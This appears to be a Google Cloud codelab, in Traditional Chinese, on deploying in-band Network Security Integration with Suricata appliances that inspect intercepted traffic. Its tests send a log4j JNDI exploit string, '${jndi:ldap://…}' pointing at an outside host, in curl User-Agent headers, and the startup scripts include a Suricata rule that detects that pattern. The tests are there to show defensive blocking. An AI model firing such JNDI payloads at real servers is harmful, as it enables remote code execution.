1. 簡介
網路安全整合服務
網路安全整合服務 (NSI) 可彈性強化工作負載的網路安全。您可能想運用第三方獨立軟體供應商 (ISV) 提供的專用設備,或是運用深層封包檢查 (DPI) 引擎檢查酬載。為確保與這些第三方設備完美整合,Google Cloud 簡化了設備的透明部署程序,無須變更任何網路或路由。
Google Cloud 提供兩種網路安全整合服務:頻外和頻內。本實驗室將逐步說明如何部署頻內網路安全整合服務。
頻內網路安全整合服務
網路安全整合服務會使用封包攔截技術提供頻內整合,讓您在網路流量路徑中放置第三方網路設備,以透明方式檢查 Google Cloud 工作負載。這個程序會使用通用網路虛擬化封裝 (GENEVE),將封包安全地傳輸至設備,且不會變更原始來源和目的地 IP 位址。
頻內整合提供以服務為中心的方法,可在 bump-in-the-wire 模式中部署及使用第三方內嵌網路設備。服務供應商可以發布一組可擴充的第三方網路設備,做為攔截部署。身為服務用戶,您可以使用 Cloud Next Generation Firewall 政策和規則,精細選取要以透明方式重新導向至本機攔截端點進行檢查的流量。

圖 1. 頻內整合服務的整體部署架構
如要進一步瞭解頻帶內 NSI 整合,請參閱頻帶內整合總覽。
頻帶內服務供應商
服務生產端是部署及管理第三方裝置的位置。貴機構中的人員 (例如安全團隊) 或外部供應商都可以管理這項設定。生產者會將虛擬機器 (可以是第三方設備) 註冊為虛擬私有雲網路中內部直通式網路負載平衡器的後端。這些設備會檢查重新導向至設備的網路流量。服務生產者接著會建立 Intercept 部署作業,這項可用區資源會指向內部直通式網路負載平衡器的轉送規則。
攔截部署項目是可用區資源,代表特定可用區的供應商檢查服務。生產者會為部署 VM 的每個可用區建立攔截部署作業。
攔截部署項目群組是特定專案適用的全域性資源,可讓消費者連線至供應商的檢查服務。供應商會建立攔截部署項目群組,將多個可用區攔截部署項目分組。供應商可透過 IAM 控管哪些消費者可以連線至部署群組。
頻內服務消費者
服務消費者會使用生產者提供的檢查服務。消費者會指定要檢查的虛擬私有雲,以及檢查的供應商。為此,消費者會建立攔截端點群組 (代表供應商與消費者關係的全球性資源),並將攔截端點群組連結至供應商的攔截部署群組。
如要將截取端點群組與要檢查流量的 VPC 建立關聯,消費者必須建立截取端點群組關聯。如要選取應傳送至生產者進行檢查的流量,消費者可以建立及使用網路防火牆政策。消費者會建立安全性設定檔群組,其中包含參照攔截端點群組的安全性設定檔。消費者接著建立防火牆規則,將符合特定條件的流量重新導向生產者的設備。
雖然 Intercept Endpoint Group(IEG) 是專案層級的資源,但 IEG 和 IEG 關聯不必位於同一專案。機構內其他專案的 IEG 關聯可以參照 IEG。代表生產者與消費者關係中的消費者端。消費者會建立攔截端點群組,以使用生產者的檢查服務。消費者端的每個攔截端點群組,都與供應商端的單一攔截部署項目群組相關聯。
詳情請參閱「攔截端點群組和關聯總覽」。
消費者必須建立防火牆政策規則,將流量重新導向至攔截端點群組。消費者可以在防火牆政策規則中指定相符條件,定義要由生產者設備檢查的流量。
消費者會建立自訂攔截安全性設定檔,指定要使用哪個攔截端點群組檢查流量。
消費者會建立安全性設定檔群組,定義應套用至特定流量子集的安全性檢查功能群組。安全性設定檔群組包含單一自訂攔截安全性設定檔。
建構項目

圖 2. 本程式碼研究室的整體部署架構
為簡化本程式碼研究室,您將使用單一專案,並建立兩個虛擬私有雲網路,以及管理多項網路和安全防護資源。本實驗室將示範如何使用第三方設備部署頻內網路服務整合,以透明插入安全機制。
系統會使用 Cloud Firewall 比對參數 (包括 5 元組:來源 IP、目的地 IP、通訊協定、來源通訊埠、目的地通訊埠) 選取要檢查的流量。為簡化本實驗室,您將檢查 TCP 通訊埠 80 上的所有輸出流量。
供應商會允許來自供應商虛擬私有雲子網路閘道 IP (10.0.0.1/32) 的輸入流量,適用於目的地通訊埠為 6081 的 UDP 封包,這是 GENEVE 的已知通訊埠。
網路防火牆政策規則庫的最終狀態會類似下表:
製作人網路政策:
優先順序 | 方向 | 通訊協定 | 目標 | 資料來源 | 目標位置 | 目標通訊埠 | 動作 |
100 | 輸入 | 全部 | 全部 | 健康檢查 | 不限 | 不限 | 允許 |
200 | 輸入 | 全部 | 全部 | IAP | 不限 | 不限 | 允許 |
300 | 輸入 | UDP | 全部 | 10.0.0.1/32 | 不限 | 6081 | 允許 |
消費者網路政策:
優先順序 | 方向 | 通訊協定 | 目標 | 資料來源 | 目標位置 | 目標通訊埠 | 動作 |
200 | 輸入 | TCP | 全部 | IAP | 不限 | 22 | 允許 |
800 | 輸出 | TCP | 全部 | 不限 | 不限 | 80 | 攔截 |
課程內容
- 如何部署頻帶內網路安全整合服務
軟硬體需求
- Google Cloud 機構和專案
- 適當的 IAM 權限
- 瞭解如何部署執行個體及設定網路元件
- 網路政策防火牆設定知識
2. 事前準備
IAM 角色和權限
如要完成頻帶內網路安全整合服務 (NSI) 程式碼研究室,您需要下列 IAM 角色:
- Compute Network Admin (
roles/compute.networkAdmin):建立及管理虛擬私有雲網路、子網路、Cloud Router、NAT 閘道和負載平衡器後端服務時,需要這個角色。 - Compute 安全管理員 (
roles/compute.securityAdmin):建立、設定及關聯全域網路防火牆政策和規則時,必須具備這項角色。 - Compute 執行個體管理員 (
roles/compute.instanceAdmin.v1):部署、透過 SSH 連線至 Suricata 裝置和消費者測試 VM,以及最終刪除這些項目時,都需要這個角色。 - 攔截部署作業管理員 (
roles/networksecurity.interceptDeploymentAdmin):製作人可用於建立及管理區域攔截部署作業和全域部署群組。 - 攔截端點管理員 (
roles/networksecurity.interceptEndpointAdmin):消費者用來建立攔截端點群組,並將其與虛擬私有雲網路建立關聯。 - 攔截部署使用者 (
roles/networksecurity.interceptDeploymentUser):供應商專案必須具備這項角色,才能授權消費者連線至供應商的部署群組。 - 安全性設定檔管理員 (
roles/networksecurity.securityProfileAdmin):必須具備機構層級的權限,才能建立及管理自訂攔截安全性設定檔和安全性設定檔群組。 - 服務使用情形 Admin (
roles/serviceusage.serviceUsageAdmin):啟用 NSI 功能所需的networksecurity.googleapis.com和compute.googleapis.comAPI 時,必須具備這項權限。 - 專案檢視者 (
roles/viewer):需要這個角色,才能擷取專案設定和機構祖先資訊,用於整個實驗室的環境變數。
Google Cloud API
請確認專案已啟用必要的 Google Cloud API。
啟用必要的 API,在 Cloud Shell 中執行下列 gcloud 指令。
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
建立/更新變數
本程式碼實驗室會使用 $variables,協助在 Cloud Shell 中實作 gcloud 設定。
在 Cloud Shell 中執行下列指令,並視需要替換方括號內的資訊:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. 製作人動作
本節將說明生產端部署。包括部署虛擬私有雲、第三方網路虛擬設備,以及網路安全整合服務的所有相關元件。
VPC 和 Cloud NAT 元件
- 建立虛擬私有雲和子網路:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- 取得子網路閘道 IP,以供防火牆規則使用:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- 為生產者虛擬私有雲建立防火牆政策和規則。這些防火牆規則會允許健康狀態檢查、IAP 和 NSI 來源的流量進入:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- 將生產者虛擬私有雲與網路防火牆政策建立關聯:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- 部署 Cloud Router 和 Cloud NAT,讓第三方網路虛擬設備 (NVA) 下載必要套件和更新:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
第三方 VM
在本實驗室中,您將部署開放原始碼威脅偵測服務 Suricata。這項指令包含啟動指令碼,可安裝及設定 Suricata。此外,還有 iptables,可執行來源網路位址轉譯 (SNAT) 和目的地網路位址轉譯 (DNAT),以處理及回應 GENEVE 封包。
- 在第一個區域中部署第三方 NVA。
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- 在第二個區域中部署第三方 NVA:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Producer 負載平衡器元件
- 建立一般健康狀態檢查,用於檢查第三方 NVA 的可用性:
gcloud compute health-checks create http nva-hc
- 為每個可用區建立區域非代管執行個體群組:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- 將執行個體新增至執行個體群組:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
使用下列指令,驗證執行個體群組是否包含執行個體:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
輸出內容範例:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- 建立內部 UDP 後端服務:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- 將兩個執行個體群組新增至後端服務:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- 為轉送規則保留內部 IP。每個攔截部署作業都需要專屬的轉送規則:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- 為每個可用區建立轉送規則。這是必要步驟,因為攔截部署作業需要專屬的轉送規則:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
網路安全整合服務元件
- 建立攔截部署作業群組:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
確認部署群組已順利建立:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
輸出範例:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- 為每個區域建立攔截部署作業:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
確認攔截部署作業是否成功建立:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
輸出內容範例:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
恭喜,你已完成製作人端的設定。接著,您將設定用戶端,攔截流量並以透明方式傳送至第三方設備,以強制執行政策。
4. 消費者動作
為求簡單,本實驗室會在單一專案中使用不同的虛擬私有雲,但在實際環境中,生產者和消費者資源可能位於不同專案,甚至是不同機構。
VPC 和 Cloud NAT 元件
- 建立虛擬私有雲和子網路:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- 建立 Cloud Router 和 Cloud NAT 閘道:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
攔截端點群組和關聯
- 建立攔截端點群組:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
驗證端點是否已成功建立:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
輸出範例:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- 建立攔截端點群組關聯,並指定取用者 VPC:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
驗證:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
輸出內容範例:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
安全性設定檔和安全性設定檔群組
接著,您將建立攔截專用的自訂安全性設定檔,並附加至安全性設定檔群組。安全性設定檔和安全性設定檔群組用於第三方設備的封包攔截。
- 建立自訂攔截安全性設定檔:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
確認安全性設定檔已成功建立:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
輸出內容範例:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- 建立安全性設定檔群組:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
確認 SPG 已成功建立:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
輸出內容範例:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
防火牆政策、規則和關聯
- 建立全域網路防火牆政策:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- 建立防火牆規則:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- 建立防火牆規則,透過 NSI 攔截所有輸出流量,並以透明方式傳送至第三方設備。這項規則會傳送所有 TCP:80 輸出流量以供檢查。
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- 將雲端防火牆政策與虛擬私有雲網路建立關聯:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
消費者 VM
- 部署用於驗證 NSI 的 VM。您將在 3 個可用區中部署 3 個 VM。請注意,只有 2 個區域啟用 NSI,而 $zonec 則未啟用。
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
測試頻內網路安全整合服務
- 透過 SSH 連線至 $zonea (consumer-$zonea) 中的 VM。傳送測試流量:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- 將測試流量傳送至 http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
預期輸出內容:
200
HTTP 200 狀態碼表示伺服器已成功接收、瞭解及處理用戶端的要求。
- 透過 NSI 傳送應由 Suricata 封鎖的 log4j 要求。
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
預期輸出內容:
000
000 HTTP 回應代碼並非官方標準代碼,而是某些軟體用來表示未收到有效的 HTTP 狀態碼。這可能表示要求遭到防火牆封鎖。
- 結束 SSH 工作階段,返回 Cloud Shell
exit
- 透過 SSH 連線至 $zoneb 中的 VM (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- 同樣地,傳送測試流量:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
預期輸出內容:
200
- 傳送 log4j 要求:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
預期輸出內容:
000
- 結束 SSH 工作階段,返回 Cloud Shell
exit
- 透過 SSH 連線至 $zonec 中的 VM (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- 同樣地,傳送測試流量:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
預期輸出內容:
200
- 傳送 log4j 要求:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
預期輸出內容:
200
請注意,這項要求已完成。這是預期中的情況,因為您未透過 $zonec 設定 NSI。攔截端點群組只有 $zonea 和 $zoneb 的關聯。
- 結束 SSH 工作階段,返回 Cloud Shell
exit
驗證 Suricata 是否收到並封鎖惡意要求
- 透過 SSH 連線至 $zonea 中的 Suricata VM (suricata-$zonea),檢查記錄:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- 查看依攻擊類型篩選的記錄:
cat /var/log/suricata/eve.json | grep log4j
您可能會看到一些項目。如果沒有看到任何項目,請檢查 $zoneb 中 Suricata VM 的記錄。輸出內容範例:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- 結束 SSH 工作階段,返回 Cloud Shell
exit
(選用) 您可以透過 SSH 連線至 $zoneb 中的 Suricata VM (suricata-$zoneb),並驗證記錄
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
查看依攻擊類型篩選的記錄:
cat /var/log/suricata/eve.json | grep log4j
輸出內容範例:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
此外,封包擷取也是查看及驗證流量的好方法。
這項指令會篩選 GENEVE 封包。指令範例:
sudo tcpdump -i any -nn udp port 6081
現在,請從消費者 VM 傳送幾筆測試流量。輸出內容範例:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 